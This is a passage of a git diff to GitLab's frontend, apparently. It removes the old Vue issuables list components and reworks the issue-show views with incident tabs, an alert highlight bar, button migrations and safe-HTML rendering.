- <component :is="issuableMetaComponent(meta.href)" :href="meta.href">
- <gl-icon v-if="meta.icon" :name="meta.icon" />
- {{ meta.value }}
- </component>
- </span>
- </template>
- </div>
- <div v-gl-tooltip class="issuable-updated-at" :title="updatedDateString">
- {{ updatedDateAgo }}
- </div>
- </div>
- </div>
- </li>
-</template>
diff --git a/app/assets/javascripts/issuables_list/components/issuable_list_root_app.vue b/app/assets/javascripts/issuables_list/components/issuable_list_root_app.vue
deleted file mode 100644
index cc90d23eda7..00000000000
--- a/app/assets/javascripts/issuables_list/components/issuable_list_root_app.vue
+++ /dev/null
@@ -1,112 +0,0 @@
-<script>
-import { GlAlert, GlLabel } from '@gitlab/ui';
-import { last } from 'lodash';
-import { n__ } from '~/locale';
-import getIssuesListDetailsQuery from '../queries/get_issues_list_details.query.graphql';
-import {
- calculateJiraImportLabel,
- isInProgress,
- setFinishedAlertHideMap,
- shouldShowFinishedAlert,
-} from '~/jira_import/utils/jira_import_utils';
-
-export default {
- name: 'IssuableListRoot',
- components: {
- GlAlert,
- GlLabel,
- },
- props: {
- canEdit: {
- type: Boolean,
- required: true,
- },
- isJiraConfigured: {
- type: Boolean,
- required: true,
- },
- issuesPath: {
- type: String,
- required: true,
- },
- projectPath: {
- type: String,
- required: true,
- },
- },
- data() {
- return {
- jiraImport: {},
- };
- },
- apollo: {
- jiraImport: {
- query: getIssuesListDetailsQuery,
- variables() {
- return {
- fullPath: this.projectPath,
- };
- },
- update: ({ project }) => {
- const label = calculateJiraImportLabel(
- project.jiraImports.nodes,
- project.issues.nodes.flatMap(({ labels }) => labels.nodes),
- );
- return {
- importedIssuesCount: last(project.jiraImports.nodes)?.importedIssuesCount,
- label,
- shouldShowFinishedAlert: shouldShowFinishedAlert(label.title, project.jiraImportStatus),
- shouldShowInProgressAlert: isInProgress(project.jiraImportStatus),
- };
- },
- skip() {
- return !this.isJiraConfigured || !this.canEdit;
- },
- },
- },
- computed: {
- finishedMessage() {
- return n__(
- '%d issue successfully imported with the label',
- '%d issues successfully imported with the label',
- this.jiraImport.importedIssuesCount,
- );
- },
- labelTarget() {
- return `${this.issuesPath}?label_name[]=${encodeURIComponent(this.jiraImport.label.title)}`;
- },
- },
- methods: {
- hideFinishedAlert() {
- setFinishedAlertHideMap(this.jiraImport.label.title);
- this.jiraImport.shouldShowFinishedAlert = false;
- },
- hideInProgressAlert() {
- this.jiraImport.shouldShowInProgressAlert = false;
- },
- },
-};
-</script>
-
-<template>
- <div class="issuable-list-root">
- <gl-alert v-if="jiraImport.shouldShowInProgressAlert" @dismiss="hideInProgressAlert">
- {{ __('Import in progress. Refresh page to see newly added issues.') }}
- </gl-alert>
-
- <gl-alert
- v-if="jiraImport.shouldShowFinishedAlert"
- variant="success"
- @dismiss="hideFinishedAlert"
- >
- {{ finishedMessage }}
- <gl-label
- :background-color="jiraImport.label.color"
- scoped
- size="sm"
- :target="labelTarget"
- :title="jiraImport.label.title"
- />
- </gl-alert>
- </div>
-</template>
diff --git a/app/assets/javascripts/issuables_list/components/issuables_list_app.vue b/app/assets/javascripts/issuables_list/components/issuables_list_app.vue
deleted file mode 100644
index fecb7353efb..00000000000
--- a/app/assets/javascripts/issuables_list/components/issuables_list_app.vue
+++ /dev/null
@@ -1,424 +0,0 @@
-<script>
-import { toNumber, omit } from 'lodash';
-import {
- GlEmptyState,
- GlPagination,
- GlSkeletonLoading,
- GlSafeHtmlDirective as SafeHtml,
-} from '@gitlab/ui';
-import { deprecatedCreateFlash as flash } from '~/flash';
-import axios from '~/lib/utils/axios_utils';
-import {
- scrollToElement,
- urlParamsToObject,
- historyPushState,
- getParameterByName,
-} from '~/lib/utils/common_utils';
-import { __ } from '~/locale';
-import initManualOrdering from '~/manual_ordering';
-import Issuable from './issuable.vue';
-import FilteredSearchBar from '~/vue_shared/components/filtered_search_bar/filtered_search_bar_root.vue';
-import {
- sortOrderMap,
- availableSortOptionsJira,
- RELATIVE_POSITION,
- PAGE_SIZE,
- PAGE_SIZE_MANUAL,
- LOADING_LIST_ITEMS_LENGTH,
-} from '../constants';
-import { setUrlParams } from '~/lib/utils/url_utility';
-import issueableEventHub from '../eventhub';
-import { emptyStateHelper } from '../service_desk_helper';
-
-export default {
- LOADING_LIST_ITEMS_LENGTH,
- directives: {
- SafeHtml,
- },
- components: {
- GlEmptyState,
- GlPagination,
- GlSkeletonLoading,
- Issuable,
- FilteredSearchBar,
- },
- props: {
- canBulkEdit: {
- type: Boolean,
- required: false,
- default: false,
- },
- emptyStateMeta: {
- type: Object,
- required: true,
- },
- endpoint: {
- type: String,
- required: true,
- },
- projectPath: {
- type: String,
- required: false,
- default: '',
- },
- sortKey: {
- type: String,
- required: false,
- default: '',
- },
- type: {
- type: String,
- required: false,
- default: '',
- },
- },
- data() {
- return {
- availableSortOptionsJira,
- filters: {},
- isBulkEditing: false,
- issuables: [],
- loading: false,
- page:
- getParameterByName('page', window.location.href) !== null
- ? toNumber(getParameterByName('page'))
- : 1,
- selection: {},
- totalItems: 0,
- };
- },
- computed: {
- allIssuablesSelected() {
- // WARNING: Because we are only keeping track of selected values
- // this works, we will need to rethink this if we start tracking
- // [id]: false for not selected values.
- return this.issuables.length === Object.keys(this.selection).length;
- },
- emptyState() {
- if (this.issuables.length) {
- return {}; // Empty state shouldn't be shown here
- }
-
- if (this.isServiceDesk) {
- return emptyStateHelper(this.emptyStateMeta);
- }
-
- if (this.hasFilters) {
- return {
- title: __('Sorry, your filter produced no results'),
- svgPath: this.emptyStateMeta.svgPath,
- description: __('To widen your search, change or remove filters above'),
- primaryLink: this.emptyStateMeta.createIssuePath,
- primaryText: __('New issue'),
- };
- }
-
- if (this.filters.state === 'opened') {
- return {
- title: __('There are no open issues'),
- svgPath: this.emptyStateMeta.svgPath,
- description: __('To keep this project going, create a new issue'),
- primaryLink: this.emptyStateMeta.createIssuePath,
- primaryText: __('New issue'),
- };
- } else if (this.filters.state === 'closed') {
- return {
- title: __('There are no closed issues'),
- svgPath: this.emptyStateMeta.svgPath,
- };
- }
-
- return {
- title: __('There are no issues to show'),
- svgPath: this.emptyStateMeta.svgPath,
- description: __(
- 'The Issue Tracker is the place to add things that need to be improved or solved in a project. You can register or sign in to create issues for this project.',
- ),
- };
- },
- hasFilters() {
- const ignored = ['utf8', 'state', 'scope', 'order_by', 'sort'];
- return Object.keys(omit(this.filters, ignored)).length > 0;
- },
- isManualOrdering() {
- return this.sortKey === RELATIVE_POSITION;
- },
- itemsPerPage() {
- return this.isManualOrdering ? PAGE_SIZE_MANUAL : PAGE_SIZE;
- },
- baseUrl() {
- return window.location.href.replace(/(\?.*)?(#.*)?$/, '');
- },
- paginationNext() {
- return this.page + 1;
- },
- paginationPrev() {
- return this.page - 1;
- },
- paginationProps() {
- const paginationProps = { value: this.page };
-
- if (this.totalItems) {
- return {
- ...paginationProps,
- perPage: this.itemsPerPage,
- totalItems: this.totalItems,
- };
- }
-
- return {
- ...paginationProps,
- prevPage: this.paginationPrev,
- nextPage: this.paginationNext,
- };
- },
- isServiceDesk() {
- return this.type === 'service_desk';
- },
- isJira() {
- return this.type === 'jira';
- },
- initialFilterValue() {
- const value = [];
- const { search } = this.getQueryObject();
-
- if (search) {
- value.push(search);
- }
- return value;
- },
- initialSortBy() {
- const { sort } = this.getQueryObject();
- return sort || 'created_desc';
- },
- },
- watch: {
- selection() {
- // We need to call nextTick here to wait for all of the boxes to be checked and rendered
- // before we query the dom in issuable_bulk_update_actions.js.
- this.$nextTick(() => {
- issueableEventHub.$emit('issuables:updateBulkEdit');
- });
- },
- issuables() {
- this.$nextTick(() => {
- initManualOrdering();
- });
- },
- },
- mounted() {
- if (this.canBulkEdit) {
- this.unsubscribeToggleBulkEdit = issueableEventHub.$on('issuables:toggleBulkEdit', val => {
- this.isBulkEditing = val;
- });
- }
- this.fetchIssuables();
- },
- beforeDestroy() {
- issueableEventHub.$off('issuables:toggleBulkEdit');
- },
- methods: {
- isSelected(issuableId) {
- return Boolean(this.selection[issuableId]);
- },
- setSelection(ids) {
- ids.forEach(id => {
- this.select(id, true);
- });
- },
- clearSelection() {
- this.selection = {};
- },
- select(id, isSelect = true) {
- if (isSelect) {
- this.$set(this.selection, id, true);
- } else {
- this.$delete(this.selection, id);
- }
- },
- fetchIssuables(pageToFetch) {
- this.loading = true;
-
- this.clearSelection();
-
- this.setFilters();
-
- return axios
- .get(this.endpoint, {
- params: {
- ...this.filters,
-
- with_labels_details: true,
- page: pageToFetch || this.page,
- per_page: this.itemsPerPage,
- },
- })
- .then(response => {
- this.loading = false;
- this.issuables = response.data;
- this.totalItems = Number(response.headers['x-total']);
- this.page = Number(response.headers['x-page']);
- })
- .catch(() => {
- this.loading = false;
- return flash(__('An error occurred while loading issues'));
- });
- },
- getQueryObject() {
- return urlParamsToObject(window.location.search);
- },
- onPaginate(newPage) {
- if (newPage === this.page) return;
-
- scrollToElement('#content-body');
-
- // NOTE: This allows for the params to be updated on pagination
- historyPushState(
- setUrlParams({ ...this.filters, page: newPage }, window.location.href, true),
- );
-
- this.fetchIssuables(newPage);
- },
- onSelectAll() {
- if (this.allIssuablesSelected) {
- this.selection = {};
- } else {
- this.setSelection(this.issuables.map(({ id }) => id));
- }
- },
- onSelectIssuable({ issuable, selected }) {
- if (!this.canBulkEdit) return;
-
- this.select(issuable.id, selected);
- },
- setFilters() {
- const {
- label_name: labels,
- milestone_title: milestoneTitle,
- 'not[label_name]': excludedLabels,
- 'not[milestone_title]': excludedMilestone,
- ...filters
- } = this.getQueryObject();
-
- // TODO: https://gitlab.com/gitlab-org/gitlab/-/issues/227880
-
- if (milestoneTitle) {
- filters.milestone = milestoneTitle;
- }
- if (Array.isArray(labels)) {
- filters.labels = labels.join(',');
- }
- if (!filters.state) {
- filters.state = 'opened';
- }
-
- if (excludedLabels) {
- filters['not[labels]'] = excludedLabels;
- }
-
- if (excludedMilestone) {
- filters['not[milestone]'] = excludedMilestone;
- }
-
- Object.assign(filters, sortOrderMap[this.sortKey]);
-
- this.filters = filters;
- },
- refetchIssuables() {
- const ignored = ['utf8'];
- const params = omit(this.filters, ignored);
-
- historyPushState(setUrlParams(params, window.location.href, true, true));
- this.fetchIssuables();
- },
- handleFilter(filters) {
- let search = null;
-
- filters.forEach(filter => {
- if (typeof filter === 'string') {
- search = filter;
- }
- });
-
- this.filters.search = search;
- this.page = 1;
-
- this.refetchIssuables();
- },
- handleSort(sort) {
- this.filters.sort = sort;
- this.page = 1;
-
- this.refetchIssuables();
- },
- },
-};
-</script>
-
-<template>
- <div>
- <filtered-search-bar
- v-if="isJira"
- :namespace="projectPath"
- :search-input-placeholder="__('Search Jira issues')"
- :tokens="[]"
- :sort-options="availableSortOptionsJira"
- :initial-filter-value="initialFilterValue"
- :initial-sort-by="initialSortBy"
- class="row-content-block"
- @onFilter="handleFilter"
- @onSort="handleSort"
- />
- <ul v-if="loading" class="content-list">
- <li v-for="n in $options.LOADING_LIST_ITEMS_LENGTH" :key="n" class="issue gl-px-5! gl-py-5!">
- <gl-skeleton-loading />
- </li>
- </ul>
- <div v-else-if="issuables.length">
- <div v-if="isBulkEditing" class="issue px-3 py-3 border-bottom border-light">
- <input
- id="check-all-issues"
- type="checkbox"
- :checked="allIssuablesSelected"
- class="mr-2"
- @click="onSelectAll"
- />
- <strong>{{ __('Select all') }}</strong>
- </div>
- <ul
- class="content-list issuable-list issues-list"
- :class="{ 'manual-ordering': isManualOrdering }"
- >
- <issuable
- v-for="issuable in issuables"
- :key="issuable.id"
- class="pr-3"
- :class="{ 'user-can-drag': isManualOrdering }"
- :issuable="issuable"
- :is-bulk-editing="isBulkEditing"
- :selected="isSelected(issuable.id)"
- :base-url="baseUrl"
- @select="onSelectIssuable"
- />
- </ul>
- <div class="mt-3">
- <gl-pagination
- v-bind="paginationProps"
- class="gl-justify-content-center"
- @input="onPaginate"
- />
- </div>
- </div>
- <gl-empty-state
- v-else
- :title="emptyState.title"
- :svg-path="emptyState.svgPath"
- :primary-button-link="emptyState.primaryLink"
- :primary-button-text="emptyState.primaryText"
- >
- <template #description>
- <div v-safe-html="emptyState.description"></div>
- </template>
- </gl-empty-state>
- </div>
-</template>
diff --git a/app/assets/javascripts/issuables_list/index.js b/app/assets/javascripts/issuables_list/index.js
deleted file mode 100644
index fa23d6c0eed..00000000000
--- a/app/assets/javascripts/issuables_list/index.js
+++ /dev/null
@@ -1,67 +0,0 @@
-import Vue from 'vue';
-import VueApollo from 'vue-apollo';
-import createDefaultClient from '~/lib/graphql';
-import { parseBoolean, convertObjectPropsToCamelCase } from '~/lib/utils/common_utils';
-import IssuableListRootApp from './components/issuable_list_root_app.vue';
-import IssuablesListApp from './components/issuables_list_app.vue';
-
-function mountIssuableListRootApp() {
- const el = document.querySelector('.js-projects-issues-root');
-
- if (!el) {
- return false;
- }
-
- Vue.use(VueApollo);
-
- const defaultClient = createDefaultClient();
- const apolloProvider = new VueApollo({
- defaultClient,
- });
-
- return new Vue({
- el,
- apolloProvider,
- render(createComponent) {
- return createComponent(IssuableListRootApp, {
- props: {
- canEdit: parseBoolean(el.dataset.canEdit),
- isJiraConfigured: parseBoolean(el.dataset.isJiraConfigured),
- issuesPath: el.dataset.issuesPath,
- projectPath: el.dataset.projectPath,
- },
- });
- },
- });
-}
-
-function mountIssuablesListApp() {
- if (!gon.features?.vueIssuablesList && !gon.features?.jiraIssuesIntegration) {
- return;
- }
-
- document.querySelectorAll('.js-issuables-list').forEach(el => {
- const { canBulkEdit, emptyStateMeta = {}, ...data } = el.dataset;
-
- return new Vue({
- el,
- render(createElement) {
- return createElement(IssuablesListApp, {
- props: {
- ...data,
- emptyStateMeta:
- Object.keys(emptyStateMeta).length !== 0
- ? convertObjectPropsToCamelCase(JSON.parse(emptyStateMeta))
- : {},
- canBulkEdit: Boolean(canBulkEdit),
- },
- });
- },
- });
- });
-}
-
-export default function initIssuablesList() {
- mountIssuableListRootApp();
- mountIssuablesListApp();
-}
diff --git a/app/assets/javascripts/issuables_list/service_desk_helper.js b/app/assets/javascripts/issuables_list/service_desk_helper.js
deleted file mode 100644
index 4b4a38c2205..00000000000
--- a/app/assets/javascripts/issuables_list/service_desk_helper.js
+++ /dev/null
@@ -1,55 +0,0 @@
-import { __ } from '~/locale';
-
-/**
- * Returns the attributes used for gl-empty-state in the Service Desk issues list.
- */
-// eslint-disable-next-line import/prefer-default-export
-export function emptyStateHelper(emptyStateMeta) {
- const { isServiceDeskSupported, svgPath, serviceDeskHelpPage } = emptyStateMeta;
-
- if (isServiceDeskSupported) {
- const title = __(
- 'Use Service Desk to connect with your users (e.g. to offer customer support) through email right inside GitLab',
- );
- const commonMessage = __(
- 'Those emails automatically become issues (with the comments becoming the email conversation) listed here.',
- );
- const commonDescription = `
- <span>${commonMessage}</span>
- <a href="${serviceDeskHelpPage}">${__('Read more')}</a>`;
-
- if (emptyStateMeta.canEditProjectSettings && emptyStateMeta.isServiceDeskEnabled) {
- return {
- title,
- svgPath,
- description: `<p>${__('Have your users email')} <code>${
- emptyStateMeta.serviceDeskAddress
- }</code></p> ${commonDescription}`,
- };
- }
-
- if (emptyStateMeta.canEditProjectSettings && !emptyStateMeta.isServiceDeskEnabled) {
- return {
- title,
- svgPath,
- description: commonDescription,
- primaryLink: emptyStateMeta.editProjectPage,
- primaryText: __('Turn on Service Desk'),
- };
- }
-
- return {
- title,
- svgPath,
- description: commonDescription,
- };
- }
-
- return {
- title: __('Service Desk is enabled but not yet active'),
- svgPath,
- description: __('You must set up incoming email before it becomes active.'),
- primaryLink: emptyStateMeta.incomingEmailHelpPage,
- primaryText: __('More information'),
- };
-}
diff --git a/app/assets/javascripts/issue.js b/app/assets/javascripts/issue.js
index f1b37525a6d..0a0cfe918af 100644
--- a/app/assets/javascripts/issue.js
+++ b/app/assets/javascripts/issue.js
@@ -100,6 +100,13 @@ export default class Issue {
initIssueBtnEventListeners() {
const issueFailMessage = __('Unable to update this issue at this time.');
+ $('.report-abuse-link').on('click', e => {
+ // this is needed because of the implementation of
+ // the dropdown toggle and Report Abuse needing to be
+ // linked to another page.
+ e.stopPropagation();
+ });
+
// NOTE: data attribute seems unnecessary but is actually necessary
return $('.js-issuable-buttons[data-action="close-reopen"]').on(
'click',
@@ -173,11 +180,15 @@ export default class Issue {
}
initIssueWarningBtnEventListener() {
- return $(document).on('click', '.js-close-blocked-issue-warning button.btn-secondary', e => {
- e.preventDefault();
- e.stopImmediatePropagation();
- this.toggleWarningAndCloseButton();
- });
+ return $(document).on(
+ 'click',
+ '.js-close-blocked-issue-warning .js-cancel-blocked-issue-warning',
+ e => {
+ e.preventDefault();
+ e.stopImmediatePropagation();
+ this.toggleWarningAndCloseButton();
+ },
+ );
}
initIssueMovedFromServiceDeskDismissHandler() {
diff --git a/app/assets/javascripts/issue_show/components/app.vue b/app/assets/javascripts/issue_show/components/app.vue
index 992d87a969f..22db0f1cfc1 100644
--- a/app/assets/javascripts/issue_show/components/app.vue
+++ b/app/assets/javascripts/issue_show/components/app.vue
@@ -20,7 +20,6 @@ export default {
components: {
GlIcon,
GlIntersectionObserver,
- descriptionComponent,
titleComponent,
editedComponent,
formComponent,
@@ -152,6 +151,18 @@ export default {
required: false,
default: 0,
},
+ descriptionComponent: {
+ type: Object,
+ required: false,
+ default: () => {
+ return descriptionComponent;
+ },
+ },
+ showTitleBorder: {
+ type: Boolean,
+ required: false,
+ default: true,
+ },
},
data() {
const store = new Store({
@@ -209,6 +220,11 @@ export default {
isOpenStatus() {
return this.issuableStatus === IssuableStatus.Open;
},
+ pinnedLinkClasses() {
+ return this.showTitleBorder
+ ? 'gl-border-b-1 gl-border-b-gray-100 gl-border-b-solid gl-mb-6'
+ : '';
+ },
statusIcon() {
return this.isOpenStatus ? 'issue-open-m' : 'mobile-issue-close';
},
@@ -231,7 +247,7 @@ export default {
});
if (!Visibility.hidden()) {
- this.poll.makeRequest();
+ this.poll.makeDelayedRequest(2000);
}
Visibility.change(() => {
@@ -447,10 +463,11 @@ export default {
<pinned-links
:zoom-meeting-url="zoomMeetingUrl"
:published-incident-url="publishedIncidentUrl"
+ :class="pinnedLinkClasses"
/>
- <description-component
- v-if="state.descriptionHtml"
+ <component
+ :is="descriptionComponent"
:can-update="canUpdate"
:description-html="state.descriptionHtml"
:description-text="state.descriptionText"
diff --git a/app/assets/javascripts/issue_show/components/description.vue b/app/assets/javascripts/issue_show/components/description.vue
index abb63f606ae..2a6468c783b 100644
--- a/app/assets/javascripts/issue_show/components/description.vue
+++ b/app/assets/javascripts/issue_show/components/description.vue
@@ -1,5 +1,6 @@
<script>
import $ from 'jquery';
+import { GlSafeHtmlDirective as SafeHtml } from '@gitlab/ui';
import { s__, sprintf } from '~/locale';
import { deprecatedCreateFlash as createFlash } from '~/flash';
import animateMixin from '../mixins/animate';
@@ -7,6 +8,10 @@ import TaskList from '../../task_list';
import recaptchaModalImplementor from '../../vue_shared/mixins/recaptcha_modal_implementor';
export default {
+ directives: {
+ SafeHtml,
+ },
+
mixins: [animateMixin, recaptchaModalImplementor],
props: {
@@ -20,7 +25,8 @@ export default {
},
descriptionText: {
type: String,
- required: true,
+ required: false,
+ default: '',
},
taskStatus: {
type: String,
@@ -47,11 +53,16 @@ export default {
return {
preAnimation: false,
pulseAnimation: false,
+ initialUpdate: true,
};
},
watch: {
- descriptionHtml() {
- this.animateChange();
+ descriptionHtml(newDescription, oldDescription) {
+ if (!this.initialUpdate && newDescription !== oldDescription) {
+ this.animateChange();
+ } else {
+ this.initialUpdate = false;
+ }
this.$nextTick(() => {
this.renderGFM();
@@ -136,12 +147,12 @@ export default {
>
<div
ref="gfm-content"
+ v-safe-html="descriptionHtml"
:class="{
'issue-realtime-pre-pulse': preAnimation,
'issue-realtime-trigger-pulse': pulseAnimation,
}"
class="md"
- v-html="descriptionHtml"
></div>
<textarea
v-if="descriptionText"
diff --git a/app/assets/javascripts/issue_show/components/edit_actions.vue b/app/assets/javascripts/issue_show/components/edit_actions.vue
index 4ee44e50d2f..14ada5adcf6 100644
--- a/app/assets/javascripts/issue_show/components/edit_actions.vue
+++ b/app/assets/javascripts/issue_show/components/edit_actions.vue
@@ -1,5 +1,5 @@
<script>
-/* eslint-disable @gitlab/vue-require-i18n-strings */
+import { GlButton } from '@gitlab/ui';
import { __, sprintf } from '~/locale';
import updateMixin from '../mixins/update';
import eventHub from '../event_hub';
@@ -10,6 +10,9 @@ const issuableTypes = {
};
export default {
+ components: {
+ GlButton,
+ },
mixins: [updateMixin],
props: {
canDestroy: {
@@ -64,28 +67,30 @@ export default {
<template>
<div class="gl-mt-3 gl-mb-3 clearfix">
- <button
- :class="{ disabled: formState.updateLoading || !isSubmitEnabled }"
+ <gl-button
+ :loading="formState.updateLoading"
:disabled="formState.updateLoading || !isSubmitEnabled"
- class="btn btn-success float-left qa-save-button"
+ category="primary"
+ variant="success"
+ class="float-left qa-save-button"
type="submit"
@click.prevent="updateIssuable"
>
- Save changes
- <i v-if="formState.updateLoading" class="fa fa-spinner fa-spin" aria-hidden="true"> </i>
- </button>
- <button class="btn btn-default float-right" type="button" @click="closeForm">
+ {{ __('Save changes') }}
+ </gl-button>
+ <gl-button class="float-right" @click="closeForm">
{{ __('Cancel') }}
- </button>
- <button
+ </gl-button>
+ <gl-button
v-if="shouldShowDeleteButton"
- :class="{ disabled: deleteLoading }"
+ :loading="deleteLoading"
:disabled="deleteLoading"
- class="btn btn-danger float-right gl-mr-3 qa-delete-button"
- type="button"
+ category="primary"
+ variant="danger"
+ class="float-right gl-mr-3 qa-delete-button"
@click="deleteIssuable"
>
- Delete <i v-if="deleteLoading" class="fa fa-spinner fa-spin" aria-hidden="true"> </i>
- </button>
+ {{ __('Delete') }}
+ </gl-button>
</div>
</template>
diff --git a/app/assets/javascripts/issue_show/components/fields/description_template.vue b/app/assets/javascripts/issue_show/components/fields/description_template.vue
index 6d8a9950b6d..e1b308c6f57 100644
--- a/app/assets/javascripts/issue_show/components/fields/description_template.vue
+++ b/app/assets/javascripts/issue_show/components/fields/description_template.vue
@@ -1,9 +1,13 @@
<script>
/* eslint-disable @gitlab/vue-require-i18n-strings */
import $ from 'jquery';
+import { GlIcon } from '@gitlab/ui';
import IssuableTemplateSelectors from '../../../templates/issuable_template_selectors';
export default {
+ components: {
+ GlIcon,
+ },
props: {
formState: {
type: Object,
@@ -61,14 +65,14 @@ export default {
<i aria-hidden="true" class="fa fa-chevron-down"> </i>
</button>
<div class="dropdown-menu dropdown-select">
- <div class="dropdown-title">
- Choose a template
+ <div class="dropdown-title gl-display-flex gl-justify-content-center">
+ <span class="gl-ml-auto">Choose a template</span>
<button
- class="dropdown-title-button dropdown-menu-close"
+ class="dropdown-title-button dropdown-menu-close gl-ml-auto"
:aria-label="__('Close')"
type="button"
>
- <i aria-hidden="true" class="fa fa-times dropdown-menu-close-icon"> </i>
+ <gl-icon name="close" class="dropdown-menu-close-icon" :aria-hidden="true" />
</button>
</div>
<div class="dropdown-input">
@@ -79,12 +83,11 @@ export default {
autocomplete="off"
/>
<i aria-hidden="true" class="fa fa-search dropdown-input-search"> </i>
- <i
- role="button"
+ <gl-icon
+ name="close"
+ class="dropdown-input-clear js-dropdown-input-clear"
:aria-label="__('Clear templates search input')"
- class="fa fa-times dropdown-input-clear js-dropdown-input-clear"
- >
- </i>
+ />
</div>
<div class="dropdown-content"></div>
<div class="dropdown-footer">
diff --git a/app/assets/javascripts/issue_show/components/incidents/graphql/queries/get_alert.graphql b/app/assets/javascripts/issue_show/components/incidents/graphql/queries/get_alert.graphql
new file mode 100644
index 00000000000..00ddc80432d
--- /dev/null
+++ b/app/assets/javascripts/issue_show/components/incidents/graphql/queries/get_alert.graphql
@@ -0,0 +1,20 @@
+query getAlert($iid: String!, $fullPath: ID!) {
+ project(fullPath: $fullPath) {
+ issue(iid: $iid) {
+ alertManagementAlert {
+ iid
+ title
+ detailsUrl
+ severity
+ status
+ startedAt
+ eventCount
+ monitoringTool
+ service
+ description
+ endedAt
+ details
+ }
+ }
+ }
+}
diff --git a/app/assets/javascripts/issue_show/components/incidents/highlight_bar.vue b/app/assets/javascripts/issue_show/components/incidents/highlight_bar.vue
new file mode 100644
index 00000000000..a47fe4c84cf
--- /dev/null
+++ b/app/assets/javascripts/issue_show/components/incidents/highlight_bar.vue
@@ -0,0 +1,42 @@
+<script>
+import { GlLink } from '@gitlab/ui';
+import { formatDate } from '~/lib/utils/datetime_utility';
+
+export default {
+ components: {
+ GlLink,
+ },
+ props: {
+ alert: {
+ type: Object,
+ required: true,
+ },
+ },
+ computed: {
+ startTime() {
+ return formatDate(this.alert.startedAt, 'yyyy-mm-dd Z');
+ },
+ },
+};
+</script>
+
+<template>
+ <div
+ class="gl-border-solid gl-border-1 gl-border-gray-100 gl-p-5 gl-mb-3 gl-rounded-base gl-display-flex gl-justify-content-space-between"
+ >
+ <div class="text-truncate gl-pr-3">
+ <span class="gl-font-weight-bold">{{ s__('HighlightBar|Original alert:') }}</span>
+ <gl-link :href="alert.detailsUrl">{{ alert.title }}</gl-link>
+ </div>
+
+ <div class="gl-pr-3 gl-white-space-nowrap">
+ <span class="gl-font-weight-bold">{{ s__('HighlightBar|Alert start time:') }}</span>
+ {{ startTime }}
+ </div>
+
+ <div class="gl-white-space-nowrap">
+ <span class="gl-font-weight-bold">{{ s__('HighlightBar|Alert events:') }}</span>
+ <span>{{ alert.eventCount }}</span>
+ </div>
+ </div>
+</template>
diff --git a/app/assets/javascripts/issue_show/components/incidents/incident_tabs.vue b/app/assets/javascripts/issue_show/components/incidents/incident_tabs.vue
new file mode 100644
index 00000000000..4104ddbf06f
--- /dev/null
+++ b/app/assets/javascripts/issue_show/components/incidents/incident_tabs.vue
@@ -0,0 +1,71 @@
+<script>
+import { GlTab, GlTabs } from '@gitlab/ui';
+import DescriptionComponent from '../description.vue';
+import HighlightBar from './highlight_bar.vue';
+import createFlash from '~/flash';
+import { s__ } from '~/locale';
+import AlertDetailsTable from '~/vue_shared/components/alert_details_table.vue';
+
+import getAlert from './graphql/queries/get_alert.graphql';
+
+export default {
+ components: {
+ AlertDetailsTable,
+ DescriptionComponent,
+ GlTab,
+ GlTabs,
+ HighlightBar,
+ },
+ inject: ['fullPath', 'iid'],
+ apollo: {
+ alert: {
+ query: getAlert,
+ variables() {
+ return {
+ fullPath: this.fullPath,
+ iid: this.iid,
+ };
+ },
+ update(data) {
+ return data?.project?.issue?.alertManagementAlert;
+ },
+ error() {
+ createFlash({
+ message: s__('Incident|There was an issue loading alert data. Please try again.'),
+ });
+ },
+ },
+ },
+ data() {
+ return {
+ alert: null,
+ };
+ },
+ computed: {
+ loading() {
+ return this.$apollo.queries.alert.loading;
+ },
+ alertTableFields() {
+ if (this.alert) {
+ const { detailsUrl, __typename, ...restDetails } = this.alert;
+ return restDetails;
+ }
+ return null;
+ },
+ },
+};
+</script>
+
+<template>
+ <div>
+ <gl-tabs content-class="gl-reset-line-height" class="gl-mt-n3" data-testid="incident-tabs">
+ <gl-tab :title="s__('Incident|Summary')">
+ <highlight-bar v-if="alert" :alert="alert" />
+ <description-component v-bind="$attrs" />
+ </gl-tab>
+ <gl-tab v-if="alert" class="alert-management-details" :title="s__('Incident|Alert details')">
+ <alert-details-table :alert="alertTableFields" :loading="loading" />
+ </gl-tab>
+ </gl-tabs>
+ </div>
+</template>
diff --git a/app/assets/javascripts/issue_show/components/locked_warning.vue b/app/assets/javascripts/issue_show/components/locked_warning.vue
index 19c7a11d87b..96f5a7c88e0 100644
--- a/app/assets/javascripts/issue_show/components/locked_warning.vue
+++ b/app/assets/javascripts/issue_show/components/locked_warning.vue
@@ -1,4 +1,5 @@
<script>
+/* eslint-disable vue/no-v-html */
import { __, sprintf } from '~/locale';
export default {
diff --git a/app/assets/javascripts/issue_show/components/pinned_links.vue b/app/assets/javascripts/issue_show/components/pinned_links.vue
index a877aa2ac96..d38189307bd 100644
--- a/app/assets/javascripts/issue_show/components/pinned_links.vue
+++ b/app/assets/javascripts/issue_show/components/pinned_links.vue
@@ -20,20 +20,25 @@ export default {
},
computed: {
pinnedLinks() {
- return [
- {
+ const links = [];
+ if (this.publishedIncidentUrl) {
+ links.push({
id: 'publishedIncidentUrl',
url: this.publishedIncidentUrl,
text: STATUS_PAGE_PUBLISHED,
icon: 'tanuki',
- },
- {
+ });
+ }
+ if (this.zoomMeetingUrl) {
+ links.push({
id: 'zoomMeetingUrl',
url: this.zoomMeetingUrl,
text: JOIN_ZOOM_MEETING,
icon: 'brand-zoom',
- },
- ];
+ });
+ }
+
+ return links;
},
},
methods: {
@@ -45,7 +50,7 @@ export default {
</script>
<template>
- <div class="border-bottom gl-mb-6 gl-display-flex gl-justify-content-start">
+ <div v-if="pinnedLinks && pinnedLinks.length" class="gl-display-flex gl-justify-content-start">
<template v-for="(link, i) in pinnedLinks">
<div v-if="link.url" :key="link.id" :class="{ 'gl-pr-3': needsPaddingClass(i) }">
<gl-button
diff --git a/app/assets/javascripts/issue_show/components/title.vue b/app/assets/javascripts/issue_show/components/title.vue
index 1e1dce5f4fc..b03a91716fe 100644
--- a/app/assets/javascripts/issue_show/components/title.vue
+++ b/app/assets/javascripts/issue_show/components/title.vue
@@ -1,12 +1,15 @@
<script>
+import { GlButton, GlTooltipDirective, GlSafeHtmlDirective as SafeHtml } from '@gitlab/ui';
import animateMixin from '../mixins/animate';
import eventHub from '../event_hub';
-import tooltip from '../../vue_shared/directives/tooltip';
-import { spriteIcon } from '../../lib/utils/common_utils';
export default {
+ components: {
+ GlButton,
+ },
directives: {
- tooltip,
+ GlTooltip: GlTooltipDirective,
+ SafeHtml,
},
mixins: [animateMixin],
props: {
@@ -40,11 +43,6 @@ export default {
titleEl: document.querySelector('title'),
};
},
- computed: {
